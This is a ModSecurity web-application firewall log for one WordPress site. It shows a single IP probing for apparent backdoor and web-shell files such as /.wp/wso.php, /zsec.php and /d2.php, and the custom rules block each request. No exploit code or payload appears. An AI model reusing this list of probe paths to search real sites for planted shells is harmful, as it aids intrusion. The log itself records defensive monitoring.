[Thu Feb 26 10:17:54.868403 2026] [:error] [pid 25311:tid 25320] [client 20.100.197.204:43119] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zsec.php"] [unique_id "aZ-tUtfdM__yZAgJFSs0VAAAAYY"]
[Thu Feb 26 10:17:55.828405 2026] [:error] [pid 3883:tid 3892] [client 20.100.197.204:51215] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zsec.php"] [unique_id "aZ-tU-A33x90V6yYHajySgAAAUY"]
[Thu Feb 26 10:17:56.527520 2026] [:error] [pid 55122:tid 55145] [client 20.100.197.204:20953] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aZ-tVILiR0OfjFxvcN-OCgAAANU"]
[Thu Feb 26 10:17:57.516995 2026] [:error] [pid 54991:tid 55040] [client 20.100.197.204:20870] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aZ-tVd4Zx-mJ8gbRB2hv3wAAAFQ"]
[Thu Feb 26 10:17:58.324407 2026] [:error] [pid 55051:tid 55075] [client 20.100.197.204:20871] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aZ-tVgmK1w2kZvh5eLG8iQAAAJU"]
[Thu Feb 26 10:17:59.030216 2026] [:error] [pid 3883:tid 3899] [client 20.100.197.204:20908] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aZ-tV-A33x90V6yYHajyZQAAAU0"]
[Thu Feb 26 10:17:59.767473 2026] [:error] [pid 55051:tid 55074] [client 20.100.197.204:51203] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hi.php"] [unique_id "aZ-tVwmK1w2kZvh5eLG8iwAAAJQ"]
[Thu Feb 26 10:18:00.671330 2026] [:error] [pid 3883:tid 3899] [client 20.100.197.204:56654] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hi.php"] [unique_id "aZ-tWOA33x90V6yYHajyawAAAU0"]
[Thu Feb 26 10:18:01.514948 2026] [:error] [pid 55618:tid 55623] [client 20.100.197.204:37128] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hi.php"] [unique_id "aZ-tWR61Vrh12f_8oWQsmgAAAQI"]
[Thu Feb 26 10:18:02.389031 2026] [:error] [pid 25311:tid 25330] [client 20.100.197.204:49936] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hi.php"] [unique_id "aZ-tWtfdM__yZAgJFSs0aQAAAZA"]
[Thu Feb 26 10:18:03.084580 2026] [:error] [pid 55618:tid 55631] [client 20.100.197.204:20897] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/cong.php"] [unique_id "aZ-tWx61Vrh12f_8oWQspQAAAQo"]
[Thu Feb 26 10:18:03.822847 2026] [:error] [pid 55051:tid 55058] [client 20.100.197.204:35373] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/cong.php"] [unique_id "aZ-tWwmK1w2kZvh5eLG8kAAAAIQ"]
[Thu Feb 26 10:18:04.574659 2026] [:error] [pid 3883:tid 3909] [client 20.100.197.204:20881] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/cong.php"] [unique_id "aZ-tXOA33x90V6yYHajyeQAAAVc"]
[Thu Feb 26 10:18:05.365843 2026] [:error] [pid 55618:tid 55642] [client 20.100.197.204:31693] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/cong.php"] [unique_id "aZ-tXR61Vrh12f_8oWQsrAAAARU"]
[Thu Feb 26 10:18:05.973069 2026] [:error] [pid 55618:tid 55635] [client 20.100.197.204:49289] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aZ-tXR61Vrh12f_8oWQsrgAAAQ4"]
[Thu Feb 26 10:18:06.767872 2026] [:error] [pid 3883:tid 3909] [client 20.100.197.204:31693] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aZ-tXuA33x90V6yYHajyfwAAAVc"]
[Thu Feb 26 10:18:07.451201 2026] [:error] [pid 55618:tid 55622] [client 20.100.197.204:46741] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aZ-tXx61Vrh12f_8oWQssAAAAQE"]
[Thu Feb 26 10:18:08.380325 2026] [:error] [pid 3883:tid 3899] [client 20.100.197.204:40606] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aZ-tYOA33x90V6yYHajyhgAAAU0"]
[Thu Feb 26 10:18:09.010156 2026] [:error] [pid 55618:tid 55623] [client 20.100.197.204:55084] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.wp/wso.php"] [unique_id "aZ-tYR61Vrh12f_8oWQsswAAAQI"]
[Thu Feb 26 10:18:09.919951 2026] [:error] [pid 54991:tid 55036] [client 20.100.197.204:49920] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.wp/wso.php"] [unique_id "aZ-tYd4Zx-mJ8gbRB2hv6gAAAFA"]
[Thu Feb 26 10:18:11.095125 2026] [:error] [pid 25311:tid 25327] [client 20.100.197.204:35389] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.wp/wso.php"] [unique_id "aZ-tY9fdM__yZAgJFSs0dwAAAY0"]
[Thu Feb 26 10:18:11.752179 2026] [:error] [pid 3883:tid 3895] [client 20.100.197.204:31692] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.wp/wso.php"] [unique_id "aZ-tY-A33x90V6yYHajyjQAAAUk"]
[Thu Feb 26 10:18:12.929934 2026] [:error] [pid 3883:tid 3895] [client 20.100.197.204:56412] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aZ-tZOA33x90V6yYHajylAAAAUk"]
[Thu Feb 26 10:18:14.142457 2026] [:error] [pid 3883:tid 3906] [client 20.100.197.204:33041] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aZ-tZuA33x90V6yYHajymAAAAVQ"]
[Thu Feb 26 10:18:15.155514 2026] [:error] [pid 3883:tid 3890] [client 20.100.197.204:37127] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aZ-tZ-A33x90V6yYHajymwAAAUQ"]
[Thu Feb 26 10:18:15.802331 2026] [:error] [pid 54991:tid 55033] [client 20.100.197.204:54501] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aZ-tZ94Zx-mJ8gbRB2hv6wAAAE0"]
[Thu Feb 26 10:18:16.641719 2026] [:error] [pid 25311:tid 25329] [client 20.100.197.204:56640] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aZ-taNfdM__yZAgJFSs0hgAAAY8"]
[Thu Feb 26 10:18:17.549666 2026] [:error] [pid 55122:tid 55129] [client 20.100.197.204:18817] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aZ-taYLiR0OfjFxvcN-OGgAAAMU"]
[Thu Feb 26 10:18:18.537379 2026] [:error] [pid 55618:tid 55636] [client 20.100.197.204:7687] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aZ-tah61Vrh12f_8oWQswAAAAQ8"]
[Thu Feb 26 10:18:19.903147 2026] [:error] [pid 3883:tid 3895] [client 20.100.197.204:31714] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aZ-ta-A33x90V6yYHajypwAAAUk"]
[Thu Feb 26 10:18:20.772852 2026] [:error] [pid 3883:tid 3890] [client 20.100.197.204:37139] [client 20.100.197.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aZ-tbOA33x90V6yYHajyrQAAAUQ"]
[Thu Feb 26 10:18:22.050450 2026] [:error] [pid 3883:tid 3889] [client 20.100.197.204:56674] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d2.php"] [unique_id "aZ-tbuA33x90V6yYHajyrwAAAUM"]
[Thu Feb 26 10:18:22.863227 2026] [:error] [pid 25311:tid 25338] [client 20.100.197.204:56999] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d2.php"] [unique_id "aZ-tbtfdM__yZAgJFSs0qAAAAZg"]
[Thu Feb 26 10:18:23.579472 2026] [:error] [pid 25311:tid 25327] [client 20.100.197.204:35328] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d2.php"] [unique_id "aZ-tb9fdM__yZAgJFSs0qwAAAY0"]
[Thu Feb 26 10:18:24.169038 2026] [:error] [pid 55122:tid 55132] [client 20.100.197.204:7332] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d2.php"] [unique_id "aZ-tcILiR0OfjFxvcN-OJwAAAMg"]
[Thu Feb 26 10:18:25.213426 2026] [:error] [pid 54991:tid 55040] [client 20.100.197.204:33071] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new/index.php"] [unique_id "aZ-tcd4Zx-mJ8gbRB2hv7QAAAFQ"]
[Thu Feb 26 10:18:26.064832 2026] [:error] [pid 55618:tid 55632] [client 20.100.197.204:20913] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new/index.php"] [unique_id "aZ-tch61Vrh12f_8oWQszAAAAQs"]
[Thu Feb 26 10:18:26.830848 2026] [:error] [pid 55618:tid 55629] [client 20.100.197.204:33070] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new/index.php"] [unique_id "aZ-tch61Vrh12f_8oWQszgAAAQg"]
[Thu Feb 26 10:18:27.823853 2026] [:error] [pid 55618:tid 55643] [client 20.100.197.204:56414] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new/index.php"] [unique_id "aZ-tcx61Vrh12f_8oWQs0wAAARY"]
[Thu Feb 26 10:18:29.046222 2026] [:error] [pid 25311:tid 25337] [client 20.100.197.204:48103] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/css/dist/"] [unique_id "aZ-tddfdM__yZAgJFSs0yAAAAZc"]
[Thu Feb 26 10:18:31.233283 2026] [:error] [pid 54990:tid 55017] [client 20.100.197.204:54517] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/css/dist/"] [unique_id "aZ-td3tr2qmt_mBhH2zHIwAAABg"]
[Thu Feb 26 10:18:32.500489 2026] [:error] [pid 55122:tid 55127] [client 20.100.197.204:55089] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/css/dist/"] [unique_id "aZ-teILiR0OfjFxvcN-OLwAAAMM"]
[Thu Feb 26 10:18:33.752848 2026] [:error] [pid 54991:tid 55028] [client 20.100.197.204:55091] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/css/dist/"] [unique_id "aZ-ted4Zx-mJ8gbRB2hv8AAAAEg"]
[Thu Feb 26 10:18:35.247343 2026] [:error] [pid 55618:tid 55645] [client 20.100.197.204:52866] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aZ-tex61Vrh12f_8oWQs4wAAARg"]
[Thu Feb 26 10:18:36.678118 2026] [:error] [pid 3883:tid 3893] [client 20.100.197.204:20914] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aZ-tfOA33x90V6yYHajyzwAAAUc"]
[Thu Feb 26 10:18:38.231880 2026] [:error] [pid 3883:tid 3900] [client 20.100.197.204:50135] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aZ-tfuA33x90V6yYHajy0wAAAU4"]
[Thu Feb 26 10:18:38.987279 2026] [:error] [pid 55122:tid 55135] [client 20.100.197.204:55062] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aZ-tfoLiR0OfjFxvcN-OPwAAAMs"]
[Thu Feb 26 10:18:39.745259 2026] [:error] [pid 25311:tid 25335] [client 20.100.197.204:51233] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/products/about.php"] [unique_id "aZ-tf9fdM__yZAgJFSs03gAAAZU"]
[Thu Feb 26 10:18:40.758164 2026] [:error] [pid 3883:tid 3889] [client 20.100.197.204:20917] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/products/about.php"] [unique_id "aZ-tgOA33x90V6yYHajy3AAAAUM"]
[Thu Feb 26 10:18:42.749533 2026] [:error] [pid 25311:tid 25335] [client 20.100.197.204:7586] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/products/about.php"] [unique_id "aZ-tgtfdM__yZAgJFSs05AAAAZU"]
[Thu Feb 26 10:18:43.921964 2026] [:error] [pid 55618:tid 55645] [client 20.100.197.204:50469] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/products/about.php"] [unique_id "aZ-tgx61Vrh12f_8oWQs6wAAARg"]
[Thu Feb 26 10:18:44.633630 2026] [:error] [pid 3883:tid 3891] [client 20.100.197.204:50480] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aZ-thOA33x90V6yYHajy5AAAAUU"]
[Thu Feb 26 10:18:45.675551 2026] [:error] [pid 25311:tid 25316] [client 20.100.197.204:59093] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aZ-thdfdM__yZAgJFSs07QAAAYI"]
[Thu Feb 26 10:18:46.314936 2026] [:error] [pid 55618:tid 55639] [client 20.100.197.204:49928] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aZ-thh61Vrh12f_8oWQs7wAAARI"]
[Thu Feb 26 10:18:47.396518 2026] [:error] [pid 3883:tid 3888] [client 20.100.197.204:40687] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aZ-th-A33x90V6yYHajy6gAAAUI"]
